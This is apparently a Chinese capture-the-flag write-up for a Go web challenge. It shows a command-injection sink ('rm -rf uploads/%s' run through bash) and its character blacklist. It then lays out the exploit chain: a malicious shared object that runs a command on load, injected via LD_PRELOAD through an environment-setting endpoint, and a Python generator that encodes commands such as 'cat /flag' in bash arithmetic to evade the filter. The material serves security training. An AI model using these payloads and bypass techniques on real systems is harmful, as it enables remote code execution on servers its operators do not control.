附件
web下的main.go
存在三个路径
list展示上传到token下的文件
upload上传文件并请求内网9091的manage接口
token:获取token并添加环境变量
manage接口
func manage(w http.ResponseWriter, r *http.Request) {
values := r.URL.Query()
m := values.Get("m")
if !waf(m) {
fmt.Fprintf(w, "waf!")
return
}
cmd := fmt.Sprintf("rm -rf uploads/%s", m)
fmt.Println(cmd)
command := exec.Command("bash", "-c", cmd)
outinfo := bytes.Buffer{}
outerr := bytes.Buffer{}
command.Stdout = &outinfo
command.Stderr = &outerr
err := command.Start()
res := "ERROR"
if err != nil {
fmt.Println(err.Error())
}
if err = command.Wait(); err != nil {
res = outerr.String()
} else {
res = outinfo.String()
}
fmt.Fprintf(w, res)
}
在这里存在rce的点
其中有一个waf
func waf(c string) bool {
var t int32
t = 0
blacklist := []string{".", "*", "?"}
for _, s := range c {
for _, b := range blacklist {
if b == string(s) {
return false
}
}
if unicode.IsLetter(s) {
if t == s {
continue
}
if t == 0 {
t = s
} else {
return false
}
}
}
return true
}
既然会加载环境变量,可以让其加载恶意的so文件来rce
#include<stdlib.h>
__attribute__((constructor)) void l3yx(){
unsetenv("LD_PRELOAD");
system(getenv("_evilcmd"));
}
gcc -shared -fPIC -o evil.so evil.c
大致思路:
通过上传恶意的so文件来rce,先访问/token获取到token的值,因为后面会有检验,upload会将其移动到token目录下,上传会发现其请求/token?http_proxy=127.0.0.1:8080
获取到token,也就是proxy代理实现。再去curl内网的9091manage接口,将m参数传入即可得到flag,当然还要先绕过waf
/token?http_proxy=127.0.0.1:8080&LD_PRELOAD=/code/uploads/2ea6a3a71d0b2db658544f67f1468897/XVlBz&_evilcmd=ls /
from urllib.parse import quote
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f=''
def str_to_oct(cmd):
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:]
s+='\\'+o
return s
def build(cmd):
payload = "$0<<<$0\<\<\<\$\\\'"
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
print(quote(quote("123;"+build("cat /flag"))))